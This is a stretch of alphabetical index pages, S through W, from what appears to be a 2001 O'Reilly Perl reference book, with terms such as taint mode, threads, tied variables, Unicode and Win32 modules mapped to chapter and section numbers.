Perl vs. C programming: 24.1.3. C Traps
switches, command-line: 19.1. Command Processing
19.1.3. Switches
-e switches: 19.1. Command Processing
default, taking switches as: 19.2. Environment Variables
single character, processing with clustering: 32.1.3. Option, Argument, Parameter, and Configuration File Processing
Sx, Perl modules for: 22.1. The CPAN modules Directory
symbol tables: 2.5. Names
2.5. Names
10.1. Symbol Tables
containing references to other symbol tables: 10.1. Symbol Tables
current package, determining use of: 10. Packages
displaying for packages: 20.3.3. Debugger Options
entries, aliasing: 2.10. Typeglobs and Filehandles
format name identifiers in: 29.2.41. format
in fully qualified names: 2.5. Names
local operator, making temporary changes with: 4.8.4. Dynamically Scoped Variables: local
packages: 29.2.109. package
references to: 8.2.5. Symbol Table References
Symbol module: 32.1.1. Data Types
symbolic references naming entries in: 8.1. What Is a Reference?
(see also debugging)
symbolic dereferences, checking with strict pragma: 4.9.2. Controlling the Use of Globals
symbolic links: 29.2.169. symlink
getting filenames from: 29.2.123. readlink
lstat function and: 29.2.91. lstat
security risks in Unix: 23.2.1. Unix Kernel Security Bugs
symbolic references: 8.1. What Is a Reference?
8.4. Symbolic References
symbols
exporting, prevention of 11.2.1.3. Managing unknown symbols
exporting from modules: 11.2. Creating Modules
importing into current package: 11.1. Using Modules
leaving off export list or deleting from import list: 11.2.1. Module Privacy and the Exporter
metasymbols, generic wildcards: 5.3.3. Wildcard Metasymbols
symlink function: 29.2.169. symlink
data access in threads: 17.2.2.1. Synchronizing access with lock
syntax, checking: 19.1.3. Switches
syntax, Perl: 2.3. Built-in Data Types
syscall function: 29.2.3. alarm
29.2.170. syscall
ioctl and fcntl returns: 29.2.77. ioctl
performance and: 24.2.1. Time Efficiency
Perl, C language vs.: 24.1.3. C Traps
restarting: 16.1.3. Timing Out Slow Operations
signal interruption of: 16.1.2. Reaping Zombies
Sys::Hostname module: 32.1.7. Operating System Interfaces
syslog, filehandle tying to: 14.6. Tie Modules on CPAN
sysopen function: 16.2.1. File Locking
16.3.4. Named Pipes
29.2.104. open
29.2.171. sysopen
file overwriting, controlling: 23.2.2. Handling Race Conditions
sysread function: 14.4.1. Filehandle-Tying Methods
29.2.172. sysread
Sys::Syslog module: 32.1.7. Operating System Interfaces
system calls: 29.2.170. syscall
system function: 29.2.174. system
list argument form, avoiding shell with: 23.3.2. Code Masquerading as Data
performance and: 24.2.1. Time Efficiency
portability of: 25.5. Interprocess Communication (IPC)
System V IPC: 16.4. System V IPC
functions dealing with: 29.1. Perl Functions by Category
functions for semaphores: 29.2.142. semctl
IPC::SysV module: 32.1.8. Networking and Interprocess Communication
killing proces groups: 29.2.80. kill
messages, syscalls for: 29.2.95. msgctl
portability of: 25.5. Interprocess Communication (IPC)
shared memory, functions for: 29.2.150. shmctl
System V IPC syscalls: 16. Interprocess Communication
reliable signals, not supporting: 16.1.2. Reaping Zombies
$SYSTEM_FD_MAX: 28.2. Special Variables in Alphabetical Order
syswrite function: 14.4. Tying Filehandles
14.4.1. Filehandle-Tying Methods
29.2.175. syswrite

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T

-T (text file) test operator: 3.10. Named Unary and File Test Operators
-T (taint checking) switch: 16.5. Sockets
16.5.2. Networking Servers
19.1.3. Switches
\t tab character assertion: 5.1. The Regular Expression Bestiary
-t (tty) file test: 3.10. Named Unary and File Test Operators
tables: 9.1. Arrays of Arrays
(see also multidimensional arrays)
tags (HTML and XML), transforming text to: 5.10.4. Defining Your Own Assertions
tags, symbol sets, Exporter: 11.2.1.4. Tag-handling utility functions
taint
functions returning tainted data: 29.2. Perl Functions in Alphabetical Order
taint checking code: 23.3. Handling Insecure Code
taint checks: 23.1. Handling Insecure Data
taint mode
automatic enabling of: 23.1. Handling Insecure Data
enabling explicitly with -T switch: 23.1. Handling Insecure Data
programs needing to run with: 23.1. Handling Insecure Data
taint mode, using: 23. Security
tainted data, detecting and laundering: 23.1.1. Detecting and Laundering Tainted Data
taint checking: 16.5.2. Networking Servers
19.1.3. Switches
taintperl program: 24.1.5. Previous Perl Traps
tan function: 29.2.4. atan2
tangent: 29.2.4. atan2
tarballs (.tar.gz files): 22.2. Using CPAN Modules
(see also tar files)
tarring, Perl modules for: 22.1. The CPAN modules Directory
over Internet-domain sockets: 16.5. Sockets
TCP clients/servers: 16.5.1. Networking Clients
tee program, Unix: 14.4.2. Creative Filehandles
tell function: 29.2.176. tell
using on tied filehandle: 14.4.1. Filehandle-Tying Methods
telldir function: 29.2.177. telldir
templates, characters for pack/unpack: 29.2.108. pack
templates, strings: 29.2.108. pack
temporary files, security risks with: 23.2.3. Temporary Files
temporary values: 2.3. Built-in Data Types
Tengwar script: 15.2. Effects of Character Semantics
Term::Cap module: 32.1.11. User Interfaces
Term::Complete module: 32.1.11. User Interfaces
terminal, setting for debugging I/O: 20.4. Unattended Execution
terminating
infinite loop: 4.4.2. for Loops
processes: 29.2.80. kill
Term::ReadKey modlue: 29.2.43. getc
Term::ReadKey module: 20.3.1. Editor Support for Debugging
Term::ReadLine module: 20.3.1. Editor Support for Debugging
32.1.11. User Interfaces
Term::Rendezvous module: 20.4. Unattended Execution
precedence of: 3.1. Terms and List Operators (Leftward)
relationships among, expressing with operators: 3. Unary and Binary Operators
terms in Perl: 2.3. Built-in Data Types
ternary operators (see trinary operator)
test command (Unix): 1.3.1. How to Do It
Test module: 32.1.18. Development Support
test operators (files): 1.5.7. Some File Test Operators
Test::Harness module: 32.1.18. Development Support
testing
if defined: 29.2.23. defined
for tainted data: 23.1.1. Detecting and Laundering Tainted Data
testing modules: 22.3. Creating CPAN Modules
external testing: 22.3.2. External Testing
internal testing: 22.3.1. Internal Testing
test.pl: 21.3.2. Creating Extensions
21.3.3. XSUB Input and Output
text
lexical scope and: 2.5. Names
Perl modules for: 22.1. The CPAN modules Directory
32.1.2. String Processing, Language Text Processing, Parsing, and Searching
pod data, converting to formatted ASCII: 32.1.16. Documentation Support
processing, Perl capabilities: 5. Pattern Matching
Unicode as international medium for: 15. Unicode
wrapping: 7.2.1. Accessing Formatting Internals
text editors, scripts, entering into: 1.3.1. How to Do It
text files, -T (file test) operator: 1.5.7. Some File Test Operators
Text::Abbrev module: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
Text::ParseWords module: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
Text::Wrap module: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
Thread method: 17.2.1.1. Thread creation
thread model
control, passing between threads: 17.2.2.6. Condition variables
data access: 17.2.2. Data Access
Thread module: 17.2.1. The Thread Module
detach method, shutting down threads with: 17.2.1.4. The detach method
identifying threads: 17.2.1.5. Identifying threads
join method, catching exceptions from: 17.2.1.3. Catching exceptions from join
thread creation: 17.2.1.1. Thread creation
thread destruction: 17.2.1.2. Thread destruction
yielding the processor: 17.2.1.7. Yielding the processor
Thread::Queue module: 17.2.3.1. Queues
threads: 17. Threads
29.2.89. lock
locked and method attributes, using: 12.7.6. New Tricks
locking: 29.2.89. lock
multiple, in single interpreter: 18.3. Executing Your Code
process model: 17.1. The Process Model
thread model: 17.2. The Thread Model
Thread::Semaphore module: 17.2. The Thread Model
17.2.2.6. Condition variables
17.2.3.2. Semaphores
Thread::Signal module: 17.2.3.3. Other standard threading modules
tid method: 17.2.1.5. Identifying threads
tie function: 14. Tied Variables
29.2.178. tie
use or require declarations and: 14. Tied Variables
tie modules on CPAN: 14.6. Tie Modules on CPAN
Tie::Array module: 14.2. Tying Arrays
32.1.14. Convenient Classes
SPLICE subroutine, using: 14.2.1. Array-Tying Methods
Tie::Counter module: 14.1.2. Magical Counter Variables
tied function: 14. Tied Variables
29.2.179. tied
Tie::DBI module: 14.6. Tie Modules on CPAN
Tie::DevNull module: 14.4.2. Creative Filehandles
Tie::DevRandom module: 14.4.2. Creative Filehandles
Tie::Hash module: 14.3. Tying Hashes
32.1.14. Convenient Classes
Tie::Persistent module: 14.6. Tie Modules on CPAN
Tie::RefHash module: 32.1.14. Convenient Classes
Tie::Scalar module: 14.1. Tying Scalars
32.1.14. Convenient Classes
Tie::SecureHash module: 12.7.5. Using Closures for Private Objects
14.6. Tie Modules on CPAN
Tie::StdArray module: 14.2. Tying Arrays
Tie::StdHash module: 14.3. Tying Hashes
Tie::StdScalar module: 14.1. Tying Scalars
Tie::SubstrHash module: 32.1.14. Convenient Classes
Tie::Syslog module: 14.6. Tie Modules on CPAN
Tie::Tee module: 14.4.2. Creative Filehandles
Tie::VecArray module: 14.6. Tie Modules on CPAN
Tie::Watch module: 14.6. Tie Modules on CPAN
tilde, home directory expansion of: 29.2.69. glob
time: 29.2.180. time
file access/modification: 29.2.165. stat
29.2.193. utime
file age: 3.10. Named Unary and File Test Operators
Greenwich Mean (GMT): 29.2.70. gmtime
for local timezone: 29.2.88. localtime
Perl functions for: 29.1. Perl Functions by Category
sleeping: 29.2.156. sleep
Time::Local module: 32.1.1. Data Types
UDP program, getting from other machines: 16.5.3. Message Passing
time base ($^T): 28.2. Special Variables in Alphabetical Order
time function: 29.2.180. time
32.1.1. Data Types
Time::gmtime module: 32.1.7. Operating System Interfaces
timelocal subroutine: 29.2.88. localtime
Time::localtime module: 32.1.7. Operating System Interfaces
Timer::HiRes module: 29.2.3. alarm
times function: 29.2.181. times
22.1. The CPAN modules Directory
portability of: 25.8. Dates and Times
Time::tm module: 32.1.7. Operating System Interfaces
timing
with alarms: 29.2.3. alarm
comparing for subroutines' execution: 20.6. The Perl Profiler
glitches, handling: 23.2. Handling Timing Glitches
in race conditions, handling: 23.2.2. Handling Race Conditions
temporary files: 23.2.3. Temporary Files
Unix kernel security bugs: 23.2.1. Unix Kernel Security Bugs
running times of alternate code versions, comparing: 32.2. Benchmark
script running: 3.10. Named Unary and File Test Operators
timing out slow operations: 16.1.3. Timing Out Slow Operations
titlecase
\u and ucfirst function, using in conversions: 5.2.4. The tr/// Operator (Transliteration)
ucfirst, translating to: 15.2. Effects of Character Semantics
Tk: 22.1. The CPAN modules Directory
24.2.6. User Efficiency
(see also Perl/Tk)
tkRunning option (debugger): 20.3.3. Debugger Options
toggling trace mode (debugger): 20.2.3. Tracing
tokenization: 21.1. How Perl Works
(see also lexical analysis)
tokens: 2.2. Molecules
18.2. Compiling Your Code
ambiguous characters, problems with: 3.10. Named Unary and File Test Operators
parsing text into list of: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
top-level package: 2.5.1. Name Lookups
top-of-form processing: 7. Formats
29.2.140. select (output filehandle)
29.2.200. write
top-of-page processing: 28.2. Special Variables in Alphabetical Order
topicalization: 1.2.1.4. Simplicities
tr/// (transliteration) operator: 5.2. Pattern-Matching Operators
5.2.4. The tr/// Operator (Transliteration)
29.2.182. tr///
29.2.201. y//
characters, transliterating with: 15.2. Effects of Character Semantics
=~ and !~ binding operators, using with: 5.2. Pattern-Matching Operators
modifiers for: 5.2.1. Pattern Modifiers
tracing,
stack backtrace, debugger T command: 20.2.3. Tracing
tracing, stack backtrace (debugger command): 20.1. Using the Debugger
trailing spaces in string comparisons: 3.11. Relational Operators
translating between languages: 24.5.2. Generating Perl in Other Languages
translation: 29.2.182. tr///
29.2.201. y//
transliteration escapes, processing by Perl regex compiler: 5.9.2.1. When backslashes happen
trapping
exceptions: 29.2.32. eval
out-of-memory errors: 28.2. Special Variables in Alphabetical Order
signals: 16.1. Signals
trigonometry, Math::Trig module: 32.1.1. Data Types
trinary operators: 1.5. Operators
3. Unary and Binary Operators
?: as: 3.16. Conditional Operator
4.5.1. Case Structures
overloading, not working with: 13.1. The overload Pragma
troubleshooting: 20. The Perl Debugger
(see also debugging)
C code: 24.1.3. C Traps
multidimensional arrays: 9.1.5. Common Mistakes
scripts
 24.1. Common Goofs for Novices
shell code: 24.1.4. Shell Traps
true values: 1.2.1.1. Singularities
truncate function: 29.2.183. truncate
argument list: 20.3.3. Debugger Options
arrays: 2.8.2. Array Length
numbers: 29.2.76. int
truth conditions, evaluating with if and unless statements: 1.6.1.1. The if and unless statements
truth values, evaluating for: 1.6.1. What Is Truth?
try block: 29.2.32. eval
tty: 16.3.3. Bidirectional Communication
two-dimensional arrays
creating and accessing: 9.1.1. Creating and Accessing a Two-Dimensional Array
creating your own: 9.1.2. Growing Your Own
tying variables: 8.5.1. References Don't Work as Hash Keys
14. Tied Variables
arrays: 14.2. Tying Arrays
filehandles: 14.4. Tying Filehandles
hashes: 14.3. Tying Hashes
scalars: 14.1. Tying Scalars
untying trap: 14.5. A Subtle Untying Trap
typecasting operator (in C): 3.21. C Operators Missing from Perl
typedefs (C language): 21.2. Internal Data Types
typeglobs: 2.5. Names
1.2.1. Variable Syntax
2.10. Typeglobs and Filehandles
8. References
8.3.6. Other Tricks You Can Do with Hard References
anonymous: 8.2.4. Handle References
anonymous
generating with Symbol module: 32.1.1. Data Types
autovivification of: 14.4.1. Filehandle-Tying Methods
filehandle references, creating: 8.2.4. Handle References
IO\:\:Handle object: 8.2.5. Symbol Table References
local function, using with: 29.2.87. local
printing contents of: 20.3.3. Debugger Options
prototype symbol (*): 1.2.1. Variable Syntax
references to typeglobs vs.: 8.2.4. Handle References
subroutines, resolving to: 12.3. Method Invocation
symbol table aliasing with: 10.1. Symbol Tables
in symbol table hashes: 10.1. Symbol Tables
variables, tying to classes via: 14. Tied Variables
typemap: 21.3.1. XS and XSUBs
types (see data types)
typing variables
scalars: 2.6. Scalar Values
subtypes, converting between: 2.6. Scalar Values

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

-u (dump core) command-line switch: 19.1.3. Switches
\u escape: 5.2.3. The s/// Operator (Substitution)
-u (setuid) file test: 3.10. Named Unary and File Test Operators
-U (unsafe) command-line switch: 19.1.3. Switches
uc function: 29.2.184. uc
uc operator: 15.2. Effects of Character Semantics
ucfirst function: 29.2.185. ucfirst
15.2. Effects of Character Semantics
passing messages with: 16.5.3. Message Passing
packets: 16.5. Sockets
$uid file statistic: 29.2.165. stat
UID (user ID): 28.2. Special Variables in Alphabetical Order
29.2.13. chown
assumed: 16.3.2. Talking to Yourself
passwd file entry from: 29.2.63. getpwuid
umask function: 29.2.186. umask
unary operators: 1.5. Operators
3. Unary and Binary Operators
3. Unary and Binary Operators
arithmetic: 1.5.4. Unary Arithmetic Operators
Boolean: 1.5.7. Some File Test Operators
class handler, invoking: 13.1. The overload Pragma
functions, behaving as: 3.1. Terms and List Operators (Leftward)
ideographic: 3.5. Ideographic Unary Operators
list operators, distinguishing from: 3.10. Named Unary and File Test Operators
named: 2.11.3. Filename Globbing Operator
3.1. Terms and List Operators (Leftward)
3.10. Named Unary and File Test Operators
listing of: 3.10. Named Unary and File Test Operators
prototyping functions as: 6.4.2. Care with Prototypes
undef function: 24.2.1. Time Efficiency
2.8.1. List Assignment
29.2.187. undef
arrays, freeing memory from: 2.8.2. Array Length
undefined scalars: 2.6. Scalar Values
undefined subroutines, calling with AUTOLOAD: 10.2. Autoloading
Underscore module: 14.1.3. Magically Banishing $_
unequal (see equality operators)
Unicode: 2.1. Atoms
15. Unicode
case translation tables: 15.2. Effects of Character Semantics
converting to characters: 29.2.14. chr
editors for: 15.2. Effects of Character Semantics
information about: 5.4.3. Unicode Properties
line separator character: 2.2. Molecules
locales and: 29.2.82. lc
paragraph separator character: 2.2. Molecules
Perl properties for: 5.4. Character Classes
properties: 5.4.3. Unicode Properties
bidirectional rendering: 5.4.3.2. Standard Unicode properties
block properties: 5.4.3.3. Unicode block properties
decomposition of characters: 5.4.3.2. Standard Unicode properties
Perl character class shortcuts and: 5.4.2. Classic Perl Character Class Shortcuts
Perl composites: 5.4.3.1. Perl's Unicode properties
standard: 5.4.3.2. Standard Unicode properties
syllabaries, classifying by vowel sounds: 5.4.3.2. Standard Unicode properties
properties database: 15.2. Effects of Character Semantics
smiley face: 29.2.14. chr
summary of, accessing: 15.2. Effects of Character Semantics
support for, turning on: 32.1.6. Internationalization and Locale
titlecase, converting strings to: 5.2.4. The tr/// Operator (Transliteration)
Unicode Standard, Version 3.0: 15.2. Effects of Character Semantics
use in Perl, caveats on: 15.3. Caution, [ren2bold] Working
wildcard metasymbols, matching with: 5.3.3. Wildcard Metasymbols
Unicode characters: 1.7. Regular Expressions
in identifiers: 2.5. Names
smiley: 2.6.2. String Literals
uninitialized, variables: 1.2.1.1. Singularities
UNIVERSAL class: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
methods, adding to: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
UNIVERSAL module: 32.1.14. Convenient Classes
1.2.1.1. Singularities
CPAN modules, installing on: 22.2.1. Decompressing and Unpacking CPAN Modules
fileglobbing: 32.1.4. Filenames, Filesystems, and File Locking
File::Spec::Unix module: 32.1.4. Filenames, Filesystems, and File Locking
security bugs: 23.2.1. Unix Kernel Security Bugs
sockets for: 32.1.8. Networking and Interprocess Communication
test command, test scripts and: 1.3.1. How to Do It
truncating kernel interpretation of #! line: 19.1. Command Processing
unless modifier: 4.1. Simple Statements
unless statements: 1.6.1.1. The if and unless statements
if statements, using instead of: 4.3. if and unless Statements
unlink function: 29.2.188. unlink
2.7.2. Boolean Context
unordered lists (see hashes)
unpack: 25.2. Endianness and Number Width
unpack function: 29.2.189. unpack
template characters for: 29.2.108. pack
unpacking CPAN modules: 22.2.1. Decompressing and Unpacking CPAN Modules
unqualified, names, searching for: 2.5.1. Name Lookups
unsafe operations: 19.1.3. Switches
unshift function: 9. Data Structures
29.2.190. unshift
unsigned integers, lists of, storing: 29.2.195. vec
unsigned shorts: 29.2.162. sprintf
untie function: 14. Tied Variables
14.5. A Subtle Untying Trap
29.2.21. dbmclose
29.2.191. untie
outstanding references, not eliminating: 14.1. Tying Scalars
until loops: 4.4.1. while and until Statements
until modifier: 4.1. Simple Statements
untying trap: 14.5. A Subtle Untying Trap
up method: 17.2.3.2. Semaphores
upcase function: 6.2.1. Tricks with Parameter Lists
uppercase, converting to: 2.6.2. String Literals
5.2.3. The s/// Operator (Substitution)
use: 4.7. Global Declarations
global and lexical scoping of: 4.8. Scoped Declarations
use attributes pragma: 6.5. Subroutine Attributes
use base declarations: 12.5.1. Inheritance Through @ISA
pseudohash implementations, requirement with: 12.7.1. Field Declarations with use fields
use base pragma: 31.3. use base
use blib pragma: 31.4. use blib
use bytes pragma: 15.2. Effects of Character Semantics
use charnames pragma: 15.2. Effects of Character Semantics
use command: 10. Packages
use declarations: 1.2.1.4. Simplicities
4.7. Global Declarations
4.9. Pragmas
(see also pragmas)
modules: 11.1. Using Modules
tie function and: 14. Tied Variables
use strict: 24.1.2. Frequently Ignored Advice
use fields declarations: 12.5.1. Inheritance Through @ISA
use fields pragma: 12.7.1. Field Declarations with use fields
use filetest pragma: 3.10. Named Unary and File Test Operators
use overload pragma: 13.1. The overload Pragma
use statement: 21.1. How Perl Works
use subs declarations: 12.5.4. Method Autoloading
use utf8 pragma: 5.3.3. Wildcard Metasymbols
use warnings pragma: 20. The Perl Debugger
Usenet, Perl modules for: 22.1. The CPAN modules Directory
user-defined functions (see subroutines)
user-defined subroutines: 1.2.2. Verbs
1.2.2. Verbs
(see also subroutines)
user efficiency, Perl programming: 24.2.6. User Efficiency
user ID (see UID)
user interfaces, modules providing: 32.1.11. User Interfaces
User::grent module: 29.2.44. getgrent
32.1.7. Operating System Interfaces
username, passwd file entry from: 29.2.62. getpwnam
User::pwent module: 29.2.63. getpwuid
32.1.7. Operating System Interfaces
Class::Struct, using to create objects and accessors: 32.6. Class::Struct
users
authenticating, Perl modules for: 22.1. The CPAN modules Directory
CPU times: 29.2.181. times
granting limited privileges to: 23.1. Handling Insecure Data
information about, functions for getting: 29.1. Perl Functions by Category
UTF-8: 2.1. Atoms
characters, converting to integers: 15.2. Effects of Character Semantics
globally switching interfaces to: 28.2. Special Variables in Alphabetical Order
module: 32.1.6. Internationalization and Locale
Perl version: 15.1. Building Character
pragma: 15.2. Effects of Character Semantics
strings, converting to/from byte strings: 15.1. Building Character
variable-length character encoding: 15.1. Building Character
utime function: 29.2.193. utime
utmp file (see /etc/utmp file)
UV (internal unsigned integer value): 21.2. Internal Data Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

v-strings
in $^V: 28.2. Special Variables in Alphabetical Order
2.6.7. V-String Literals
-v (version) command-line switch: 19.1.3. Switches
values
arrays (see arrays)
hashes, sorting: 29.2.79. keys
list (see list values)
referencing: 8.1. What Is a Reference?
scalar (see scalar values)
scope, confining to: 4.8.1. Scoped Variable Declarations
undefined, truth value of: 1.6.1. What Is Truth?
undefining: 29.2.187. undef
variables vs.: 1.2. Natural and Artificial Languages
values function: 14.3.1. Hash-Tying Methods
29.2.194. values
variable interpolation: 2.6.2. String Literals
glob operator, using: 2.11.3. Filename Globbing Operator
variable-length records: 7. Formats
variable-length UTF-8 characters: 15.1. Building Character
variables: 2.3. Built-in Data Types
2.4. Variables
3.1. Terms and List Operators (Leftward)
8. References
8.3.1. Using a Variable as a Variable Name
anonymous: 8.2.2. Anonymous Data
array: 2.6.5. Interpolating Array Values
attributes, getting and setting: 32.1.13. Perl Language Extensions and Internals
binding to packages: 29.2.191. untie
B::Xref module, cross-references with C: 18.6. Code Development Tools
class: 12.8. Managing Class Data
condition variables: 17.2.2.6. Condition variables
control, in foreach loop: 4.4.3. foreach Loops
debugger, customizing: 20.3.2. Customizing with Init Files
declaring: 4. Statements and Declarations
4.8.1. Scoped Variable Declarations
declaring global: 4.8.3. Lexically Scoped Global Declarations: our
dumping with V command: 10.1. Symbol Tables
environment: 28.2. Special Variables in Alphabetical Order
format: 7.1. Format Variables
fully-qualified, accessing from outside package: 23.3.1.1. Restricting namespace access
global (see global)
hash: 2.9. Hashes
initializing before calling subroutines: 6.2.3. Scoping Issues
interpolating
with double quotes: 5.2. Pattern-Matching Operators
into patterns: 5.2. Pattern-Matching Operators
interpolation: 1.2.1.1. Singularities
pattern matching, controlling with: 5.9.2. Variable Interpolation
lexical scoping: 29.2.99. my
local
common programming errors with: 24.1.1. Universal Blunders
my declarations, using instead of local function: 24.1.2. Frequently Ignored Advice
localizing existing: 29.2.87. local
modules, exporting to programs: 11.2.1. Module Privacy and the Exporter
my (see my declarations)
8.3.6. Other Tricks You Can Do with Hard References
10. Packages
names for: 1.2.1. Variable Syntax
24.3. Programming with Style
names in nested symbol tables: 2.5. Names
our (see our declarations)
package, displaying: 20.2.4. Display
package, memory usage: 20.3.3. Debugger Options
package variables: 2.5. Names
packages, associating with: 10. Packages
Perl vs. C, names of: 24.1.3. C Traps
private (see local variables)
repeated substitutions, performing on: 5.2.3.1. Modifying strings en passant
resetting values of: 29.2.130. reset
scoped, lexical scope: 4.8.2. Lexically Scoped Variables: my
scoping, strict pragma, use of: 1.2.1.4. Simplicities
shell programming, Perl vs.: 24.1.4. Shell Traps
special: 28.1.6. Per-Package Special Functions
strings of, matching against known strings: 5.9.2. Variable Interpolation
taint and: 23.1. Handling Insecure Data
translating with: 5.2.4. The tr/// Operator (Transliteration)
tying: 14. Tied Variables
29.2.178. tie
arrays: 14.2. Tying Arrays
filehandles: 14.4. Tying Filehandles
hashes: 14.3. Tying Hashes
scalars: 14.1. Tying Scalars
untying trap: 14.5. A Subtle Untying Trap
uninitialized: 1.2.1.1. Singularities
values, assignment and: 1.5.3. Assignment Operators
values vs.: 1.2. Natural and Artificial Languages
watch points, placing on: 14.6. Tie Modules on CPAN
variadic functions in Perl: 6.2. Semantics
vars modle (obsolete): 32.1.13. Perl Language Extensions and Internals
vec function: 29.2.195. vec
vectors, strings as: 29.2.162. sprintf
29.2.195. vec
verbosity
debugger, setting levels of: 20.3.3. Debugger Options
warnings, forcing in: 32.1.13. Perl Language Extensions and Internals
verbs: 1.2.2. Verbs
verbs, packages, handling of: 1.2.1.4. Simplicities
versions, Perl 28.2. Special Variables in Alphabetical Order
of Perl ($^V): 28.2. Special Variables in Alphabetical Order
module, checking for: 11.2.1.2. Version checking
changes between release 4 and 5: 24.1.5. Previous Perl Traps
placing in #! line: 19.1. Command Processing
specifying: 19.1.2. Location of Perl
VERSION method: 12.5.3. UNIVERSAL: The Ultimate Ancestor Class
vi editor
debugger, support for: 20.3.1. Editor Support for Debugging
regular expressions, use of: 1.7. Regular Expressions
video, Perl modules for: 22.1. The CPAN modules Directory
virtual circuits (as TCP streams): 16.5. Sockets
virtual machine, Perl: 18.3. Executing Your Code
VMS operating system
File::Spec::VMS module: 32.1.4. Filenames, Filesystems, and File Locking
invoking Perl applications on: 19.1.1. #! and Quoting on Non-Unix Systems
void context: 1.5.4. Unary Arithmetic Operators
2.7.3. Void Context
2.8.1. List Assignment
29.2.198. wantarray
recognizing in debugger: 20.1. Using the Debugger
vowel sounds, classifying syllabaries according to: 5.4.3.2. Standard Unicode properties
VRML, Perl modules for: 22.1. The CPAN modules Directory

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

\w, matching ideograph with: 15.2. Effects of Character Semantics
-w command-line switch: 19.1.3. Switches
-W (writeable by real uid/gid) file test: 3.10. Named Unary and File Test Operators
w forward character=\w (forward character): 1.7. Regular Expressions
-w switch, Perl: 28.2. Special Variables in Alphabetical Order
wait function: 29.2.196. wait
wait system call: 28.2. Special Variables in Alphabetical Order
waitpid function: 29.2.197. waitpid
wantarray function: 29.2.198. wantarray
warn function: 29.2.199. warn
$WARNING: 28.2. Special Variables in Alphabetical Order
warning messages: 19.1.3. Switches
29.2.199. warn
33. Diagnostic Messages
intercepting: 28.2. Special Variables in Alphabetical Order
-w switch, turning on with: 1.3.1. How to Do It
${^WARNING_BITS}: 28.2. Special Variables in Alphabetical Order
lexical; ${^WARNING_BITS}: 28.2. Special Variables in Alphabetical Order
about undefined values: 4. Statements and Declarations
disabling unconditionally and permanently: 19.1.3. Switches
modules for: 32.1.15. Warnings and Exceptions
about remaining references to tied objects: 14.5. A Subtle Untying Trap
verbosity, forcing in: 32.1.13. Perl Language Extensions and Internals
warnings module: 32.1.15. Warnings and Exceptions
warnings pragma: 4.9.1. Controlling Warnings
warnLevel option (debugger): 20.3.3. Debugger Options
watch expressions: 20.2.3. Tracing
watch points, placing on Perl variables: 14.6. Tie Modules on CPAN
weak references: 8.5.2. Garbage Collection, Circular References, and Weak References
WeakRef module: 12.6.1. Garbage Collection with DESTROY Methods
weather, Perl modules for: 22.1. The CPAN modules Directory
web, Perl modules for: 22.1. The CPAN modules Directory
32.1.9. World Wide Web
while loops: 1.6.2.1. The while and until statements
4.4.1. while and until Statements
angle operator and $_: 2.11.2. Line Input (Angle) Operator
eof function in: 29.2.31. eof
while modifier: 4.1. Simple Statements
while statements: 1.5.5. Logical Operators
Boolean context, supplying: 2.7.2. Boolean Context
list assignment in: 2.8.1. List Assignment
whitespace: 1.7. Regular Expressions
2.2. Molecules
24.3. Programming with Style
29. Functions
cononicalizing in a variable: 5.2.3.1. Modifying strings en passant
in formats: 7. Formats
leading, removing in here documents: 2.6.6. "Here" Documents
quote characters, use in: 2.6.3. Pick Your Own Quotes
/x modifier in pattern matching: 5.2.1. Pattern Modifiers
whitespaces, use as variable name or delimiter for quote construct, changes in: 24.1.5. Previous Perl Traps
wide character APIs
enabling Perl use of on target system: 19.1.3. Switches
system calls using: 15.1. Building Character
wide, syscalls: 28.2. Special Variables in Alphabetical Order
${^WIDE_SYSTEM_CALLS}: 28.2. Special Variables in Alphabetical Order
width
character representation: 15.1. Building Character
of numbers: 25.2. Endianness and Number Width
wildcard metasymbols: 5.3.3. Wildcard Metasymbols
character classes and: 5.4.1. Custom Character Classes
5.4.1. Custom Character Classes
Win32API::File module: 32.1.20. Microsoft-Related Modules
Win32API::Net module: 32.1.20. Microsoft-Related Modules
Win32API::Registry module: 32.1.20. Microsoft-Related Modules
Win32::ChangeNotify module: 32.1.20. Microsoft-Related Modules
Win32::Console module: 32.1.20. Microsoft-Related Modules
Windows (see Microsoft Windows)
Win32::Event module: 32.1.20. Microsoft-Related Modules
Win32::EventLog module: 32.1.20. Microsoft-Related Modules
Win32::File module: 32.1.20. Microsoft-Related Modules
Win32::FileSecurity module: 32.1.20. Microsoft-Related Modules
Win32::Internet module: 32.1.20. Microsoft-Related Modules
Win32::IPC module: 32.1.20. Microsoft-Related Modules
Win32::Mutex module: 32.1.20. Microsoft-Related Modules
Win32::NetAdmin module: 32.1.20. Microsoft-Related Modules
Win32::NetResource module: 32.1.20. Microsoft-Related Modules
Win32::ODBC module: 32.1.20. Microsoft-Related Modules
Win32::OLE module: 32.1.20. Microsoft-Related Modules
Win32::OLE::Const module: 32.1.20. Microsoft-Related Modules
Win32::OLE::Enum module: 32.1.20. Microsoft-Related Modules
Win32::OLE::NLS module: 32.1.20. Microsoft-Related Modules
Win32::OLE::Variant module: 32.1.20. Microsoft-Related Modules
Win32::PerfLib module: 32.1.20. Microsoft-Related Modules
Win32::Pipe module: 16.3.4. Named Pipes
Win32::Process module: 32.1.20. Microsoft-Related Modules
Win32::Semaphore module: 32.1.20. Microsoft-Related Modules
Win32::Service module: 32.1.20. Microsoft-Related Modules
Win32::Sound module: 32.1.20. Microsoft-Related Modules
Win32::TieRegistry module: 14.6. Tie Modules on CPAN
32.1.20. Microsoft-Related Modules
word character: 1.7. Regular Expressions
word lists: 2.8. List Values and Arrays
